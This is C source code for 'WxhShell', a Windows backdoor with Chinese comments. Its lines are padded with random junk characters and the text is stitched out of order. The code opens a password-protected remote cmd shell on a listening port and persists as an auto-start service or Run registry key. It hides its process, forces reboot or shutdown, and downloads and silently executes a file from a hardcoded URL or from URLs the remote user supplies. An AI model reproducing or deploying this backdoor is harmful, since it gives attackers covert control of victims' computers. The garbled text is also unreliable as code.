    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nq%GLUH   
    if(Boot(SHUTDOWN)) .dPy<6E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XlJA}^e  
    else { Um%$TGw5  
    closesocket(wsh); 1c4@qQyo  
    ExitThread(0); JRr'81\  
    } h?7@]&VJ  
    break; NTV@,  
    } 01w}8a(  
  // 获取shell 4{6XZ_J1  
  case 's': { wX+KW0|>  
    CmdShell(wsh); H: rrY  
    closesocket(wsh); wl5+VC*l0  
    ExitThread(0); O>,Rsj!e  
    break; b wqd` C  
  } kO}Q OL4  
  // 退出 L %20tm  
  case 'x': { GUcGu5tw:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x5(B(V@b  
    CloseIt(wsh); w%?6s3   
    break; ]I: h4hgw  
    } 0eFvcH:qG  
  // 离开 M _e^KF  
  case 'q': { !n3J6%b9y/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FA$1&Fu3Y  
    closesocket(wsh); (5h+b_eB  
    WSACleanup(); l*-$H$  
    exit(1); Jty/gjK+  
    break; ^kh@AgG^  
        } =z4kK_?F,  
  } 9{&oVt~Y$  
  } 3?r?)$Jk  
4l?"zv1  
  // 提示信息 /SKgN{tWe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J_7&nIH7  
} - p*j9 z  
  } N VBWF  
d9pZg=$8  
  return; tdi^e;:?  
} QLDld[  
V9/PkuT  
// shell模块句柄 v%8S:3  
int CmdShell(SOCKET sock) ZIp"X  
{ bCmlSu  
STARTUPINFO si; q~6((pWi|  
ZeroMemory(&si,sizeof(si)); ss'`[QhR2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JAU:Wqlg1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )uazB!X  
PROCESS_INFORMATION ProcessInfo; S r4/8BZ  
char cmdline[]="cmd"; ~L?q.*q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !9g >/9h  
  return 0; j6#RV@ p`  
} LgJUMR8vUO  
$;As7MI  
// 自身启动模式 ^nN@@ \-5  
int StartFromService(void) 56!/E5qgW  
{ 'eg;)e:`b+  
typedef struct w ;]~2$  
{ 2>'/!/+R  
  DWORD ExitStatus; p -wEPC0  
  DWORD PebBaseAddress; BkJNu_{m?  
  DWORD AffinityMask; 0Q5fX}  
  DWORD BasePriority; {Ax{N  
  ULONG UniqueProcessId; ;To][J  
  ULONG InheritedFromUniqueProcessId; XHYVcwmDz-  
}   PROCESS_BASIC_INFORMATION; +&qj`hA-b  
o 4cqLM u  
PROCNTQSIP NtQueryInformationProcess; ES9|eo6  
&vV_,$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "2>_eZ#b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C,G$C7$%  
-Ou@T#h"  
  HANDLE             hProcess; 7#9yAS+x(  
  PROCESS_BASIC_INFORMATION pbi; u 4$$0 `  
egh_1Wg2a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ST25RJC  
  if(NULL == hInst ) return 0; 0k 6S`e9gI  
3ox 0-+_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jCxg)D7W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R^=[D#*]>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -eQ70BXvB  
a6epew!2  
  if (!NtQueryInformationProcess) return 0; gFAtIx4  
qIg^R@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |iGfWJ^+  
  if(!hProcess) return 0; ![hVTZ,hyZ  
;6/dFOZn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D>m!R[!o  
qcR"i+b  
  CloseHandle(hProcess); i5CBLv  
5/C#*%EH'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oa:30@HSb  
if(hProcess==NULL) return 0; 2Pic4Z  
jLCZ JSK  
HMODULE hMod; :}3;z'2]l  
char procName[255]; [RFF&uy  
unsigned long cbNeeded; x$;kA}gy  
g4NbzU[I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r0fEW9wL  
<ecif_a=m  
  CloseHandle(hProcess); m j@{hGP  
} 0x'm  
if(strstr(procName,"services")) return 1; // 以服务启动 !R"iV^?V  
_'"$,~ZWY  
  return 0; // 注册表启动 pqnZ:'V  
} ;nZN}&m   
0zrZrl  
// 主模块 2-x#|9  
int StartWxhshell(LPSTR lpCmdLine) 0pl |  
{ OM 4, Sevk  
  SOCKET wsl; ~CQTPR  
BOOL val=TRUE; ^E= w3g&  
  int port=0; }.74w0~0^  
  struct sockaddr_in door; FCPi U3  
(|_N2R!  
  if(wscfg.ws_autoins) Install(); }RN&w ]<  
# 25%17  
port=atoi(lpCmdLine); :Miri_l  
9Netnzv%  
if(port<=0) port=wscfg.ws_port; 2}8xY:|@(U  
3+d_5l;m)  
  WSADATA data; PA<<{\dp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zpM%L:S  
MO-)j_o-Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k-X E|v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C3z#A3&J  
  door.sin_family = AF_INET; <j^bk"l p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?R8wmE[w  
  door.sin_port = htons(port); 8oVQ:' 6  
q;L~5q."E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^L +@oS  
closesocket(wsl); 5V"g,]'Nd  
return 1; 8e*1L:oB!  
} h4lrt  
ZA Xw=O5  
  if(listen(wsl,2) == INVALID_SOCKET) { /R!/)sg  
closesocket(wsl); 3 F ke#t  
return 1; uIb,n5  
} /`vn/X^?^  
  Wxhshell(wsl); F3pBk)>a\  
  WSACleanup(); ">hOD'PG  
b%"Lwqdr7  
return 0; b$k|D)_|  
Cp[ NVmN  
} j& ~`wGM  
6|AD]/t^K  
// 以NT服务方式启动 M^3pJ=;5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qt{{q  
{ 'mR9Uqq\  
DWORD   status = 0; ]v,>!~8r  
  DWORD   specificError = 0xfffffff; QfHO3Y6h[  
MPI=^rc2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i |IG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mpu8/i gX,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yo@S.7[/  
  serviceStatus.dwWin32ExitCode     = 0; U-0A}@N  
  serviceStatus.dwServiceSpecificExitCode = 0; ^;=L|{Xl  
  serviceStatus.dwCheckPoint       = 0; Ln C5"  
  serviceStatus.dwWaitHint       = 0; %?WR 9}KU0  
i>}aQ:&^0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1@L|EFa  
  if (hServiceStatusHandle==0) return; (@"5:M  
H(WRm1i"G  
status = GetLastError(); D`C#O 7.N  
  if (status!=NO_ERROR) TE!+G\@  
{ PGaYYc3X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g7r_jj%ow  
    serviceStatus.dwCheckPoint       = 0; 1Zj NRg=  
    serviceStatus.dwWaitHint       = 0; Q>[Xm)jr:  
    serviceStatus.dwWin32ExitCode     = status; H 6~6hg  
    serviceStatus.dwServiceSpecificExitCode = specificError; GoTJm}[N P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :\<D q 71  
    return; r#;GVJR6  
  } Obb"#W@3  
do>,ELS+m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L/sMAB  
  serviceStatus.dwCheckPoint       = 0; QqU>V0y"w(  
  serviceStatus.dwWaitHint       = 0; &)y$XsSMW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4UV<Q*B\F  
} )%T< Mw2u  
M7JQw/,xs  
// 处理NT服务事件,比如:启动、停止 KqNbIw*sR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]1k"'XG4,  
{ cEc_S42Z  
switch(fdwControl) LqA&@  
{ OqcM3#  
case SERVICE_CONTROL_STOP: b!J%s   
  serviceStatus.dwWin32ExitCode = 0; zXRq) ;s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; swGp{wJ  
  serviceStatus.dwCheckPoint   = 0; G &LOjd 2  
  serviceStatus.dwWaitHint     = 0; t6JM%  
  { $ /p/9 -  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k~,({T<  
  } ! O~:  
  return; Zl4X,9Wt  
case SERVICE_CONTROL_PAUSE: |0Y: /uL#)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VsJ4sb7  
  break; pd Fa]  
case SERVICE_CONTROL_CONTINUE: eGF+@)K1"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >&g^ `  
  break; 0!fT:Ra  
case SERVICE_CONTROL_INTERROGATE: 1;8%\r[|5^  
  break; 2b i:Q9  
}; l}jC$B`5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yJRqX]MLA  
} 6#SUfK;  
xB<^ar  
// 标准应用程序主函数 q<Sb>M/\,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NZW)$c'  
{ .%x%b6EI  
:Ou[LF.O  
// 获取操作系统版本 (<ZpT%2  
OsIsNt=GetOsVer(); N3rq8Rk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T>cO{I  
Am @o}EC  
  // 从命令行安装  Z,Z4Sp  
  if(strpbrk(lpCmdLine,"iI")) Install(); >=+: lD  
`k]2*$%  
  // 下载执行文件 cKM#0dq  
if(wscfg.ws_downexe) { C^^AN~ZD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gL(_!mcwu  
  WinExec(wscfg.ws_filenam,SW_HIDE); 618k-  
} , R;k>'.  
:Q-QY)hH  
if(!OsIsNt) { =Sp+$:q*  
// 如果时win9x,隐藏进程并且设置为注册表启动 FBP'AL|  
HideProc(); t3(~aH  
StartWxhshell(lpCmdLine); k+5l  
} BV-(`#~:y  
else V=cJdF  
  if(StartFromService()) s'4%ZE2Dr  
  // 以服务方式启动 Zk:_Yiki&  
  StartServiceCtrlDispatcher(DispatchTable); bCL/"OB  
else x=VLTH/oo  
  // 普通方式启动 RoLN#  
  StartWxhshell(lpCmdLine); 089 <B& <  
]p-x ds#d  
return 0; /a7N:Z_Bz  
} =v:}{~M^$  
2K VX  
o^8Z cN>  
vBLs88  
=========================================== /Y#Q<=X  
`37%|e3bQ  
B{ hV|2  
]VcuD05"C  
l&Cy K#B:\  
F(DM$5z[  
" ]]eI80u[  
;BmPP,  
#include <stdio.h> \`oP\|Z  
#include <string.h> s/\<;g:u^  
#include <windows.h> me+u"G9I;  
#include <winsock2.h> 8mM`v  
#include <winsvc.h> Y~Z&h?H'}  
#include <urlmon.h> m8,jVR  
wvcj*{7[  
#pragma comment (lib, "Ws2_32.lib") > Hwf/Gf[  
#pragma comment (lib, "urlmon.lib") ' TO/i:{\  
nJ2910"<  
#define MAX_USER   100 // 最大客户端连接数 cES8%UC^i  
#define BUF_SOCK   200 // sock buffer EL^j}P  
#define KEY_BUFF   255 // 输入 buffer Ov~vK\  
"UUoT  
#define REBOOT     0   // 重启 &ev#C%Nu  
#define SHUTDOWN   1   // 关机 CsX@u#  
@ QfbIP9  
#define DEF_PORT   5000 // 监听端口 #9rCF 3P  
#B6$ r/%  
#define REG_LEN     16   // 注册表键长度 +#Ga} e CM  
#define SVC_LEN     80   // NT服务名长度 KSve_CBOh  
6ee1^>  
// 从dll定义API rKkFflOVO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xk?Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XYze*8xUb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j*_>/gi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q"-+`;^7(-  
'>:%n  
// wxhshell配置信息 k[a5D/b  
struct WSCFG { sp7#e%R\  
  int ws_port;         // 监听端口 -#`tS  
  char ws_passstr[REG_LEN]; // 口令 3U9leY'2N  
  int ws_autoins;       // 安装标记, 1=yes 0=no _Rk>yJD7s  
  char ws_regname[REG_LEN]; // 注册表键名 vs2xx`Y<Lq  
  char ws_svcname[REG_LEN]; // 服务名 ,?c=v`e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zjn![  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (vPE?^}b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z0 J:"M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FvyC$vip  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P/[}$(&:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xA>3]<O  
;%mdSaf  
}; }*|aVBvU  
ZK`x(h{p)  
// default Wxhshell configuration L.x`Jpq(3  
struct WSCFG wscfg={DEF_PORT, wpf  
    "xuhuanlingzhe", `,s0^?_  
    1, Mi<}q@]e  
    "Wxhshell", V;(Rg=5  
    "Wxhshell", |]'gd)%S\  
            "WxhShell Service", 9Idgib&  
    "Wrsky Windows CmdShell Service", 5|g#>sx>`q  
    "Please Input Your Password: ", hY/i)T{  
  1, !|-:"hE1h  
  "http://www.wrsky.com/wxhshell.exe", g+QNIM>  
  "Wxhshell.exe" tN_~zP  
    }; "u3 N9  
M5`wfF,j  
// 消息定义模块 v%)=!T ,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ',s{N9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q5c13g2(c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X=[`+=  
char *msg_ws_ext="\n\rExit."; k8w:8*y'.  
char *msg_ws_end="\n\rQuit."; _Kv;hR>  
char *msg_ws_boot="\n\rReboot..."; {PkPKp  
char *msg_ws_poff="\n\rShutdown..."; I@uin|X  
char *msg_ws_down="\n\rSave to "; ,A9{x\1!  
l<p6zD$l  
char *msg_ws_err="\n\rErr!"; &t@|/~%[  
char *msg_ws_ok="\n\rOK!"; t<yOTVah  
6Z!OD(/e  
char ExeFile[MAX_PATH]; /'L/O;H20  
int nUser = 0; X({R+  
HANDLE handles[MAX_USER]; /H$/s=YU\U  
int OsIsNt; 4~e6z(  
vJg^uf)  
SERVICE_STATUS       serviceStatus; ,a\pdEPj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ee*E:Ltz\  
f/pr  
// 函数声明 K~14;  
int Install(void); 4p]hY!7  
int Uninstall(void); x<>In"QV  
int DownloadFile(char *sURL, SOCKET wsh); q&@q /9kz  
int Boot(int flag); .xg, j{%(  
void HideProc(void); Ew2ksZ>B]&  
int GetOsVer(void); J72 YZrc  
int Wxhshell(SOCKET wsl); o%l|16DR  
void TalkWithClient(void *cs); ^w~Utx4  
int CmdShell(SOCKET sock); k2DBm q;  
int StartFromService(void); |\/V1  
int StartWxhshell(LPSTR lpCmdLine); !z_VwZ#,  
PHqIfH [  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J-Wphc!m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3ms{gZbw  
AjMx\'(C  
// 数据结构和表定义 S*a_  
SERVICE_TABLE_ENTRY DispatchTable[] = $qk(yzY  
{ K Z Q `  
{wscfg.ws_svcname, NTServiceMain}, ?OdJ t  
{NULL, NULL} "kkZK=}Nv  
}; qW t 9Tr  
0 hS(9y40  
// 自我安装 Jc,{ n*  
int Install(void) so }Kb3n  
{ pu5-=QN  
  char svExeFile[MAX_PATH]; S@eI3Pk E  
  HKEY key; z=a{;1A  
  strcpy(svExeFile,ExeFile); 2w67 >w\  
3QD##Wr^  
// 如果是win9x系统,修改注册表设为自启动 $jNp-5+Q;  
if(!OsIsNt) { n##d!d|g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |d=MX>i|G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); APY*SeI V  
  RegCloseKey(key); j:J{m0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bId@V[9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,XmyC7y<  
  RegCloseKey(key); S`&YY89{&  
  return 0; 4&^BcWqA*f  
    } M;F&Ix  
  } :EZ"D#>y~  
} +)-`$N  
else { i>L>3]SRr{  
Avi8&@ya  
// 如果是NT以上系统,安装为系统服务 Wf:I 0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O)9{qU:[b  
if (schSCManager!=0) VH5Vg We  
{ /WE1afe_R  
  SC_HANDLE schService = CreateService l} UOg   
  ( K;#9: Z^+  
  schSCManager,  XV*uu "F  
  wscfg.ws_svcname, tS&rR0<OW  
  wscfg.ws_svcdisp, mLL?n)   
  SERVICE_ALL_ACCESS, +)l6%QKcW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oN " /w~  
  SERVICE_AUTO_START, tQrkRg(E:  
  SERVICE_ERROR_NORMAL, {h *Pkn1  
  svExeFile, m@^!?/as  
  NULL, VJ$UpqVm  
  NULL, Ee-yP[2 *  
  NULL, '}$$o1R  
  NULL, -%t2_g,  
  NULL xk$U+8K  
  ); cG~-OHU  
  if (schService!=0) A?/(W_Gt^M  
  { 1VC:o]$  
  CloseServiceHandle(schService); q/HwcX+[b  
  CloseServiceHandle(schSCManager); mo- Y %  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iLD:}yK  
  strcat(svExeFile,wscfg.ws_svcname); &ZUV=q%g9n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T?'Vb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L.) 0!1  
  RegCloseKey(key); Q`7.-di  
  return 0; [Oy5Td7[  
    } &p#$}tm  
  } PK<+tIm\  
  CloseServiceHandle(schSCManager); p!xCNZ(m  
} +nT(>RJR  
} O5eTkKUc  
E/_I$<,_y  
return 1; XUp'wP  
} zVU{jmS  
1y($h<  
// 自我卸载 /vLdm-4  
int Uninstall(void) N9A#@c0O  
{ 2[qlEtvQ  
  HKEY key;  +*aZ9g  
d~U}IMj  
if(!OsIsNt) { x[5uz))  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~E tW B  
  RegDeleteValue(key,wscfg.ws_regname); I>(\B|\6  
  RegCloseKey(key); vMB`TpZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b qNM  
  RegDeleteValue(key,wscfg.ws_regname); rW(<[2vg  
  RegCloseKey(key); oe{K0.`  
  return 0; nVt,= ?_ U  
  } U4*Q;A#  
} c$ skLz  
} w`$M}oX(  
else { A%$ZB9#zQ  
l mRd l>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s35`{PR  
if (schSCManager!=0) aX$Q}mgb  
{ 3EN(Pz L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); chF@',9t  
  if (schService!=0) IDIok~B=e  
  { M'D l_dx-  
  if(DeleteService(schService)!=0) { J@vL,C)E6  
  CloseServiceHandle(schService); t5Oeb<REz  
  CloseServiceHandle(schSCManager); O.% $oV  
  return 0; nPU=n[t8O  
  } J*} warf&  
  CloseServiceHandle(schService); s}3`%?,6y  
  } m=hUHA,p4  
  CloseServiceHandle(schSCManager); qXw^y  
} Ob#d;F  
} uVn"'p-  
fT.GYvt`  
return 1; ]'iOV-2^'  
} exHg<18WSe  
y]e[fZ`L  
// 从指定url下载文件 T7bD t  
int DownloadFile(char *sURL, SOCKET wsh) :7 P/ZC%  
{ hmQ;!9  
  HRESULT hr; L H8iHB  
char seps[]= "/"; +xc1cki_{  
char *token; 0<";9qN)6  
char *file; (q]_&%yW  
char myURL[MAX_PATH]; |r%NMw #y  
char myFILE[MAX_PATH]; (Iz$_(  
=h Lw 1~  
strcpy(myURL,sURL); +-*Ww5Zti  
  token=strtok(myURL,seps); Jb (CH4|7  
  while(token!=NULL) >{HQ"{Q  
  { PV\aQO.mo  
    file=token; 8$TSQ~  
  token=strtok(NULL,seps); ;qN;oSK  
  } P`xQL  
!|#W,9  
GetCurrentDirectory(MAX_PATH,myFILE); ?~p]Ey}~9  
strcat(myFILE, "\\"); c&GVIrJ  
strcat(myFILE, file); P< 5v\\  
  send(wsh,myFILE,strlen(myFILE),0); `UK'IN.il  
send(wsh,"...",3,0); ]9P2v X   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #@3& 1 }J/  
  if(hr==S_OK) n,_q6/!  
return 0; OkV*,n  
else 3Hd~mfO\  
return 1; &{uj3s&C   
U7do,jCoa  
} hRwj-N%C  
MoX~ZewWR  
// 系统电源模块 9{KL^O?g  
int Boot(int flag) \~!!h.xR  
{ TF1,7Qd  
  HANDLE hToken; ^tTASK  
  TOKEN_PRIVILEGES tkp; ~EL3I  
MOia] 5  
  if(OsIsNt) { rijavZS6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V*< `!w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  J^V}%N".  
    tkp.PrivilegeCount = 1; @$aGVEcU$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x=M%QFe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sW^e D;  
if(flag==REBOOT) { J{!U;r!6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |Fi{]9(G2  
  return 0; 6|G&d>G$_  
} <%iRa$i5  
else { xk*&zAt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S T1V  
  return 0; |W#(+m  
} 6Lc{SR  
  } yt@7l]I  
  else { cTJi8f=g  
if(flag==REBOOT) { \5iMr[s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RH}i=  
  return 0; {U'\2Ge<m  
} $-MVsa9>I  
else { BICG@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \}Al85  
  return 0; ~jR4%VF  
} qipV'T,S  
} 2rV]n  
{ )-8P  
return 1; !sG# 3sUe[  
} (hJ&`Tt  
4OaU1Y[  
// win9x进程隐藏模块 [eO^C  
void HideProc(void) :;hz!6!  
{ 7,lnfCm H  
lsaA    
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); abD@0zr  
  if ( hKernel != NULL ) ;aN_!! r  
  { 5MCnGg@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ve]hE}o/}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dfP4SJqq  
    FreeLibrary(hKernel); @9tzk [  
  } lQM&q  
sg8[TFX@Z  
return; hm*cGYV/  
} *\(MG|S  
rez )$  
// 获取操作系统版本 V1&qgAy~  
int GetOsVer(void) L</k+a?H!  
{ hYht8?6}m  
  OSVERSIONINFO winfo; {vq| 0t\-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u*T( n s l  
  GetVersionEx(&winfo); "g,`Ks ];  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xG(xG%J  
  return 1; ]t0St~qUL)  
  else J%u,qF}h  
  return 0; F[v:&fle  
} BW:HKH.k  
ysj5/wtO0  
// 客户端句柄模块 #CV]S4/^  
int Wxhshell(SOCKET wsl) r~z'QG6v/  
{ iInWw"VbKe  
  SOCKET wsh; k2@]nW"S  
  struct sockaddr_in client; 'u:-~nSX)  
  DWORD myID; |A/H*J,  
eaC%& k  
  while(nUser<MAX_USER) #;yxn.</  
{ `*l aUn  
  int nSize=sizeof(client); H$+@O-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <D[0mi0  
  if(wsh==INVALID_SOCKET) return 1; ]OtnekkK$  
5a-x$Qb9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4[(NxXH8M  
if(handles[nUser]==0) I>GBnx L  
  closesocket(wsh); rz0)S py6  
else en'"" w  
  nUser++; wRvh/{xB  
  } =EYWiK77a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u"uL,w 1-  
[!De|,u(^  
  return 0; 57~y 7/0  
} Ptc+ypTu  
D4b-Y[/"  
// 关闭 socket VV{>Kq+&,v  
void CloseIt(SOCKET wsh) aeISb83Y|  
{ /5<=m:  
closesocket(wsh); 8t3m$<7  
nUser--; <.mH-Y5i  
ExitThread(0); 9Ta0Li  
} dU#-;/}o  
n)~*BpL3  
// 客户端请求句柄 q)mG6Su d  
void TalkWithClient(void *cs) 0k#7LubWZl  
{ *a\6X( ~  
-V4%f{9T3  
  SOCKET wsh=(SOCKET)cs; lYTQg~aPm  
  char pwd[SVC_LEN]; X$;&Mdo.  
  char cmd[KEY_BUFF]; |his8\C+x  
char chr[1]; f4 qVUU  
int i,j; zXM,cV/s   
?G5,}%  
  while (nUser < MAX_USER) { ?!K6")SE  
9b&|'BBW  
if(wscfg.ws_passstr) { 1~'jC8&J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9vz\R-un  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4-t^?T: qF  
  //ZeroMemory(pwd,KEY_BUFF); 5f{P% x(  
      i=0; !b"?l"C+u  
  while(i<SVC_LEN) { sO` oapy  
n>?D-)g  
  // 设置超时 +SR{ FF  
  fd_set FdRead; S3:AitGJ  
  struct timeval TimeOut; d=n@#|3  
  FD_ZERO(&FdRead); Kv(R|d6Lp  
  FD_SET(wsh,&FdRead); }DXG;L  
  TimeOut.tv_sec=8; =gs-#\%  
  TimeOut.tv_usec=0; 'f!U[Qatg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NJ)Dw`|%|)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~_-]> SI  
jM&di  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;F#(:-:  
  pwd=chr[0]; F~8'3!<9  
  if(chr[0]==0xd || chr[0]==0xa) { R0}1:1}$Sn  
  pwd=0; K8aqC{  
  break; *68 TTBq(  
  } :{2~s  
  i++; 0|RofL&o  
    } wS);KLe3  
CVW T >M<  
  // 如果是非法用户,关闭 socket +rJ6DZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ."H;bfcL_  
} bx(@ fl:m  
8[KKi~A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 58Ce>*~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @uH!n~QV  
y-db CYMc  
while(1) { {$,\Qg  
t|$ jgM  
  ZeroMemory(cmd,KEY_BUFF); (Kwqa"Hk4{  
~g\~x  
      // 自动支持客户端 telnet标准   rNR7}o~qo  
  j=0; Rh ^(91d  
  while(j<KEY_BUFF) { F)(^c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gLB(A\yG  
  cmd[j]=chr[0]; |ZL?Pqki  
  if(chr[0]==0xa || chr[0]==0xd) { {2h *NFp  
  cmd[j]=0; b!P,+!<  
  break; CtXbAcN2B  
  } 0k5-S~_\  
  j++; @^<odmM  
    } \y5lYb,*c_  
jZ |M$I3*  
  // 下载文件 !1G KpL  
  if(strstr(cmd,"http://")) { W!wof- 1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J(l\VvK  
  if(DownloadFile(cmd,wsh)) >!t3~q1Cn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _6nAxm&x`%  
  else u<Kowt<ci  
